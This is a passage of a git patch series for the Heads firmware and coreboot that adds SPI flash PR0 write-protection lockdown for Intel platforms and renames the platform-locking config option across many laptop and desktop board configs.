a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +new file mode 100644 +index 00000000000..fa09cec7c2e +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +@@ -0,0 +1,35 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void fast_spi_lockdown_bios(int chipset_lockdown) ++{ ++ if (!CONFIG(SOC_INTEL_COMMON_BLOCK_FAST_SPI)) ++ return; ++ ++ /* Discrete Lock Flash PR registers */ ++ fast_spi_pr_dlock(); ++ ++ /* Lock FAST_SPIBAR */ ++ fast_spi_lock_bar(); ++ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ fast_spi_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ fast_spi_set_eiss(); ++ fast_spi_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ fast_spi_set_lock_enable(); ++ ++ /* EXT BIOS Lock */ ++ fast_spi_set_ext_bios_lock_enable(); ++ } ++} +diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c +index 7ebca1eb946..8d8acf05088 100644 +--- a/src/soc/intel/denverton_ns/lpc.c ++++ b/src/soc/intel/denverton_ns/lpc.c +@@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { + + static void finalize_chipset(void *unused) + { +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + } + + BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); +diff --git a/src/soc/intel/elkhartlake/finalize.c b/src/soc/intel/elkhartlake/finalize.c +index 275413b4efa..802d02cb596 100644 +--- a/src/soc/intel/elkhartlake/finalize.c ++++ b/src/soc/intel/elkhartlake/finalize.c +@@ -43,7 +43,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) + heci_finalize(); +diff --git a/src/soc/intel/jasperlake/finalize.c b/src/soc/intel/jasperlake/finalize.c +index 6cff7a80f30..1b68cc51786 100644 +--- a/src/soc/intel/jasperlake/finalize.c ++++ b/src/soc/intel/jasperlake/finalize.c +@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/meteorlake/finalize.c b/src/soc/intel/meteorlake/finalize.c +index a977b0516e5..951153fa812 100644 +--- a/src/soc/intel/meteorlake/finalize.c ++++ b/src/soc/intel/meteorlake/finalize.c +@@ -75,7 +75,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + tbt_finalize(); + sa_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && +diff --git a/src/soc/intel/skylake/finalize.c b/src/soc/intel/skylake/finalize.c +index fd80aeac1a0..a147b62e46f 100644 +--- a/src/soc/intel/skylake/finalize.c ++++ b/src/soc/intel/skylake/finalize.c +@@ -106,7 +106,8 @@ static void soc_finalize(void *unused) + pch_finalize_script(dev); + + soc_lockdown(dev); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + + /* Indicate finalize step with post code */ + post_code(POSTCODE_OS_BOOT); +diff --git a/src/soc/intel/tigerlake/finalize.c b/src/soc/intel/tigerlake/finalize.c +index cd02745a9e6..06ce243fe72 100644 +--- a/src/soc/intel/tigerlake/finalize.c ++++ b/src/soc/intel/tigerlake/finalize.c +@@ -55,7 +55,8 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + tbt_finalize(); + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT)) + heci1_disable(); +diff --git a/src/soc/intel/xeon_sp/finalize.c b/src/soc/intel/xeon_sp/finalize.c +index af630fe8127..8e409b8c439 100644 +--- a/src/soc/intel/xeon_sp/finalize.c ++++ b/src/soc/intel/xeon_sp/finalize.c +@@ -59,7 +59,8 @@ static void soc_finalize(void *unused) + if (!CONFIG(USE_PM_ACPI_TIMER)) + setbits8(pmc_mmio_regs() + PCH_PWRM_ACPI_TMR_CTL, ACPI_TIM_DIS); + +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + lock_pam0123(); + + if (CONFIG_MAX_SOCKET > 1) { From eecc611d736ba1bde874b8e4022da29299872d87 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 06:46:14 -0400 Subject: [PATCH 314/619] bin/lock_chip: Correct PR0 statement Signed-off-by: Thierry Laurion --- initrd/bin/lock_chip | 26 +++++--------------------- 1 file changed, 5 insertions(+), 21 deletions(-) diff --git a/initrd/bin/lock_chip b/initrd/bin/lock_chip index 9519dc164..7578295f4 100755 --- a/initrd/bin/lock_chip +++ b/initrd/bin/lock_chip @@ -15,27 +15,11 @@ if [ "$CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" = "y" ]; then fi if [ -n "$APM_CNT" -a -n "$FIN_CODE" ]; then - # SMI PR0 lockdown is implemented by Intel as part of the SMM Supervisor feature. - # SMM Supervisor is a software component that runs in SMM and acts as a gatekeeper - # for SMM access. - # - # It uses the processor’s memory protection and paging mechanisms to restrict what - # SMM code can read and write. SMM Supervisor marks critical pages, such as its - # own code, data, and page tables, as supervisor pages, which are only accessible - # from the most privileged level (CPL0). - # - # It also marks the rest of the SMM memory as user pages, which are accessible - # from any privilege level. - # - # This way, SMM Supervisor can isolate itself from other SMM code and enforce a policy - # that states what resources the SMI handlers (the interrupt handlers that run in SMM) - # require access to. - # - # SMI PR0 lockdown is enabled by setting a lock bit (FLOCKDN) in the SPI controller, - # which prevents further changes to the SMM memory and configuration. - # Once SMI PR0 lockdown is enabled, it cannot be disabled until the next system reset. - # This ensures that malicious code cannot tamper with the SMM Supervisor or the SMI handlers - # after the system boots. + # PR0 lockdown is enabled by setting a lock bit (FLOCKDN) in the SPI controller, + # which prevents further changes to the SPI controller configuration. The flash + # will become write protected in the range specified in the PR0 register. Once + # the protection is set and locked, it cannot be disabled + # until the next system reset. echo "Finalizing chipset Write Protection through SMI PR0 lockdown call" io386 -o b -b x $APM_CNT $FIN_CODE else From 7e679d6d686ed560331b5951b9ab33832ee40ea6 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 07:05:34 -0400 Subject: [PATCH 315/619] lock_chip: update documentation for skylake+ Signed-off-by: Thierry Laurion --- initrd/bin/lock_chip | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/bin/lock_chip b/initrd/bin/lock_chip index 7578295f4..d9d4fbfa8 100755 --- a/initrd/bin/lock_chip +++ b/initrd/bin/lock_chip @@ -1,9 +1,9 @@ #!/bin/sh # For this to work: -# - io386 module needs to be enabled in board config (sandy/ivy/haswell know to work) -# - coreboot config need to enable CONFIG_BOOTMEDIA_LOCK_CONTROLLER=y without enabling CONFIG_INTEL_CHIPSET_LOCKDOWN +# - io386 module needs to be enabled in board config +# - =Skylake: same as above and CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y, CONFIG_SPI_FLASH_SMM=y and mode (eg: CONFIG_BOOTMEDIA_LOCK_WHOLE_RO=y) # - Heads is actually doing the CONFIG_INTEL_CHIPSET_LOCKDOWN equivalent here. -# TODO: If more platforms are able to enable CONFIG_INTEL_CHIPSET_LOCKDOWN in the future, have board config export APM_CNT and FIN_CODE and modify this script accordingly #include ash shell functions (TRACE requires it) . /etc/ash_functions From eac77efc9b0f20709a32a747cc93a06bae383866 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 20 Oct 2024 13:22:43 -0400 Subject: [PATCH 316/619] nv41: add lock_chip current requirements for pre-skylake in board config Signed-off-by: Thierry Laurion --- boards/nitropad-nv41/nitropad-nv41.config | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index 54bc0d44e..d1c7c6095 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -29,7 +29,12 @@ CONFIG_UTIL_LINUX=y CONFIG_LVM2=y CONFIG_MBEDTLS=y CONFIG_PCIUTILS=y -CONFIG_MSRTOOLS=y + +#platform locking finalization (PR0) +CONFIG_IO386=y +export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y + + #Remote attestation support # TPM2 requirements CONFIG_TPM2_TSS=y From de1ee26fe351832c954ea117a8bb2be64848c014 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sun, 20 Oct 2024 13:39:02 -0400 Subject: [PATCH 317/619] nv41 coreboot config: add CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y which enables CONFIG_SPI_FLASH_SMM=y (skylake+ requirements) Signed-off-by: Thierry Laurion --- config/coreboot-nitropad-nv41.config | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 0449d3b26..cd9adc52b 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -428,7 +428,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_XHCI_ELOG=y CONFIG_SOC_INTEL_COMMON_PCH_CLIENT=y CONFIG_SOC_INTEL_COMMON_PCH_BASE=y CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN=y -# CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM is not set +CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM=y CONFIG_PCH_SPECIFIC_BASE_OPTIONS=y CONFIG_PCH_SPECIFIC_DISCRETE_OPTIONS=y CONFIG_PCH_SPECIFIC_CLIENT_OPTIONS=y @@ -621,6 +621,7 @@ CONFIG_MRC_SETTINGS_PROTECT=y CONFIG_SPI_FLASH=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +CONFIG_SPI_FLASH_SMM=y # CONFIG_SPI_FLASH_NO_FAST_READ is not set CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set From e999c90a16302b9a34efb86eb8085e15d327d0cd Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 06:50:41 -0400 Subject: [PATCH 318/619] codebase: CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE -> CONFIG_FINALIZE_PLATFORM_LOCKING Signed-off-by: Thierry Laurion --- .../UNTESTED_t440p-maximized.config | 2 +- .../UNTESTED_w541-maximized/UNTESTED_w541-maximized.config | 2 +- boards/nitropad-nv41/nitropad-nv41.config | 2 +- .../optiplex-7010_9010-hotp-maximized.config | 2 +- .../optiplex-7010_9010-maximized.config | 2 +- .../optiplex-7010_9010_TXT-hotp-maximized.config | 2 +- .../optiplex-7010_9010_TXT-maximized.config | 2 +- boards/t420-hotp-maximized/t420-hotp-maximized.config | 2 +- boards/t420-maximized/t420-maximized.config | 2 +- boards/t430-hotp-maximized/t430-hotp-maximized.config | 2 +- boards/t430-maximized/t430-maximized.config | 2 +- boards/t530-hotp-maximized/t530-hotp-maximized.config | 2 +- boards/t530-maximized/t530-maximized.config | 2 +- boards/w530-hotp-maximized/w530-hotp-maximized.config | 2 +- boards/w530-maximized/w530-maximized.config | 2 +- boards/x220-hotp-maximized/x220-hotp-maximized.config | 2 +- boards/x220-maximized/x220-maximized.config | 2 +- .../x230-hotp-maximized-fhd_edp.config | 2 +- boards/x230-hotp-maximized/x230-hotp-maximized.config | 2 +- .../x230-hotp-maximized_usb-kb.config | 2 +- boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config | 2 +- boards/x230-maximized/x230-maximized.config | 2 +- boards/z220-cmt-maximized/z220-cmt-maximized.config | 2 +- initrd/bin/config-gui.sh | 6 +++--- initrd/bin/kexec-boot | 2 +- initrd/bin/lock_chip | 2 +- 26 files changed, 28 insertions(+), 28 deletions(-) diff --git a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config index 260f320fc..6ea92e2f6 100644 --- a/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config +++ b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config @@ -22,7 +22,7 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y # Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead diff --git a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config index 046a872a7..5c7a27cd8 100644 --- a/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config +++ b/boards/UNTESTED_w541-maximized/UNTESTED_w541-maximized.config @@ -22,7 +22,7 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y # Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead diff --git a/boards/nitropad-nv41/nitropad-nv41.config b/boards/nitropad-nv41/nitropad-nv41.config index d1c7c6095..6d9481dca 100644 --- a/boards/nitropad-nv41/nitropad-nv41.config +++ b/boards/nitropad-nv41/nitropad-nv41.config @@ -32,7 +32,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config index b034491b9..e695df4ff 100644 --- a/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config +++ b/boards/optiplex-7010_9010-hotp-maximized/optiplex-7010_9010-hotp-maximized.config @@ -49,7 +49,7 @@ CONFIG_HOTPKEY=y #platform locking finalization (PR0) # This prevents SPI from being writeable outside of Heads CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n diff --git a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config index 1e0ed1050..9d4e0e6fd 100644 --- a/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config +++ b/boards/optiplex-7010_9010-maximized/optiplex-7010_9010-maximized.config @@ -49,7 +49,7 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) # This prevents SPI from being writeable outside of Heads CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n diff --git a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config index ab0d8c42b..35aa57d10 100644 --- a/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config +++ b/boards/optiplex-7010_9010_TXT-hotp-maximized/optiplex-7010_9010_TXT-hotp-maximized.config @@ -49,7 +49,7 @@ CONFIG_HOTPKEY=y #platform locking finalization (PR0) # This prevents SPI from being writeable outside of Heads CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n diff --git a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config index eef49910e..03a711e4f 100644 --- a/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config +++ b/boards/optiplex-7010_9010_TXT-maximized/optiplex-7010_9010_TXT-maximized.config @@ -49,7 +49,7 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) # This prevents SPI from being writeable outside of Heads CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n diff --git a/boards/t420-hotp-maximized/t420-hotp-maximized.config b/boards/t420-hotp-maximized/t420-hotp-maximized.config index 9975550f6..4ab33a434 100644 --- a/boards/t420-hotp-maximized/t420-hotp-maximized.config +++ b/boards/t420-hotp-maximized/t420-hotp-maximized.config @@ -32,7 +32,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support #TPM based requirements diff --git a/boards/t420-maximized/t420-maximized.config b/boards/t420-maximized/t420-maximized.config index 39475d881..1293dd2d4 100644 --- a/boards/t420-maximized/t420-maximized.config +++ b/boards/t420-maximized/t420-maximized.config @@ -31,7 +31,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support #TPM based requirements diff --git a/boards/t430-hotp-maximized/t430-hotp-maximized.config b/boards/t430-hotp-maximized/t430-hotp-maximized.config index d9961116d..4b64ffefa 100644 --- a/boards/t430-hotp-maximized/t430-hotp-maximized.config +++ b/boards/t430-hotp-maximized/t430-hotp-maximized.config @@ -30,7 +30,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support #TPM based requirements diff --git a/boards/t430-maximized/t430-maximized.config b/boards/t430-maximized/t430-maximized.config index 188048bf7..4164db3d7 100644 --- a/boards/t430-maximized/t430-maximized.config +++ b/boards/t430-maximized/t430-maximized.config @@ -30,7 +30,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/t530-hotp-maximized/t530-hotp-maximized.config b/boards/t530-hotp-maximized/t530-hotp-maximized.config index 213547f96..bdd005aed 100644 --- a/boards/t530-hotp-maximized/t530-hotp-maximized.config +++ b/boards/t530-hotp-maximized/t530-hotp-maximized.config @@ -31,7 +31,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/t530-maximized/t530-maximized.config b/boards/t530-maximized/t530-maximized.config index 4449e2d89..b291fa946 100644 --- a/boards/t530-maximized/t530-maximized.config +++ b/boards/t530-maximized/t530-maximized.config @@ -31,7 +31,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/w530-hotp-maximized/w530-hotp-maximized.config b/boards/w530-hotp-maximized/w530-hotp-maximized.config index 7d7a1826d..ddb91dbad 100644 --- a/boards/w530-hotp-maximized/w530-hotp-maximized.config +++ b/boards/w530-hotp-maximized/w530-hotp-maximized.config @@ -31,7 +31,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/w530-maximized/w530-maximized.config b/boards/w530-maximized/w530-maximized.config index e9bb59df2..bb691ad71 100644 --- a/boards/w530-maximized/w530-maximized.config +++ b/boards/w530-maximized/w530-maximized.config @@ -31,7 +31,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 1a7770869..b8dc88e4d 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -32,7 +32,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support #TPM based requirements diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 552657852..2bd094ec3 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -32,7 +32,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support #TPM based requirements diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 1bb65c315..0e8c84202 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -43,7 +43,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index f4e859835..cdd0c8677 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -49,7 +49,7 @@ CONFIG_HOTPKEY=y #platform locking finalization (PR0) # This prevents SPI from being writeable outside of Heads CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Nitrokey Storage admin tool (deprecated) #CONFIG_NKSTORECLI=n diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index a6dd87276..8508baa8e 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -39,7 +39,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index feda20a99..7ca110578 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -43,7 +43,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 7b5b4a01a..78cc64922 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -34,7 +34,7 @@ CONFIG_PCIUTILS=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y #Remote attestation support diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index 41cb99272..c254331d9 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -43,7 +43,7 @@ CONFIG_TPMTOTP=y #platform locking finalization (PR0) CONFIG_IO386=y -export CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE=y +export CONFIG_FINALIZE_PLATFORM_LOCKING=y # Dependencies for a graphical menu. Enable CONFIG_SLANG and CONFIG_NEWT instead # for a console-based menu. diff --git a/initrd/bin/config-gui.sh b/initrd/bin/config-gui.sh index 7f8142e69..1ee1d3813 100755 --- a/initrd/bin/config-gui.sh +++ b/initrd/bin/config-gui.sh @@ -85,7 +85,7 @@ while true; do 'Z' " $(get_config_display_action "$CONFIG_DEBUG_OUTPUT") $CONFIG_BRAND_NAME debug and function tracing output" ) - [ "$CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" = "y" ] && dynamic_config_options+=( + [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ] && dynamic_config_options+=( 't' ' Deactivate Platform Locking to permit OS write access to firmware' ) @@ -105,8 +105,8 @@ while true; do case "$menu_choice" in "t" ) - unset CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE - replace_config /etc/config.user "CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" "n" + unset CONFIG_FINALIZE_PLATFORM_LOCKING + replace_config /etc/config.user "CONFIG_FINALIZE_PLATFORM_LOCKING" "n" combine_configs . /tmp/config ;; diff --git a/initrd/bin/kexec-boot b/initrd/bin/kexec-boot index 144788791..fa37ebf99 100755 --- a/initrd/bin/kexec-boot +++ b/initrd/bin/kexec-boot @@ -170,7 +170,7 @@ if [ "$CONFIG_TPM" = "y" ]; then tpmr kexec_finalize fi -if [ -x /bin/io386 -a "$CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" = "y" ]; then +if [ -x /bin/io386 -a "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ]; then lock_chip fi diff --git a/initrd/bin/lock_chip b/initrd/bin/lock_chip index d9d4fbfa8..6085b84e9 100755 --- a/initrd/bin/lock_chip +++ b/initrd/bin/lock_chip @@ -9,7 +9,7 @@ . /etc/ash_functions TRACE "Under /bin/lock_chip" -if [ "$CONFIG_FINALIZE_PLATFORM_LOCKING_PRESKYLAKE" = "y" ]; then +if [ "$CONFIG_FINALIZE_PLATFORM_LOCKING" = "y" ]; then APM_CNT=0xb2 FIN_CODE=0xcb fi From ef0b70a89a893f7db295cc7cb9bf6d3b0a0dbc3b Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 22 Oct 2024 06:57:04 -0400 Subject: [PATCH 319/619] ns50: add PR0 chipset locking requirements to board config and coreboot config Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 7 ++++++- config/coreboot-nitropad-ns50.config | 10 ++++++++-- 2 files changed, 14 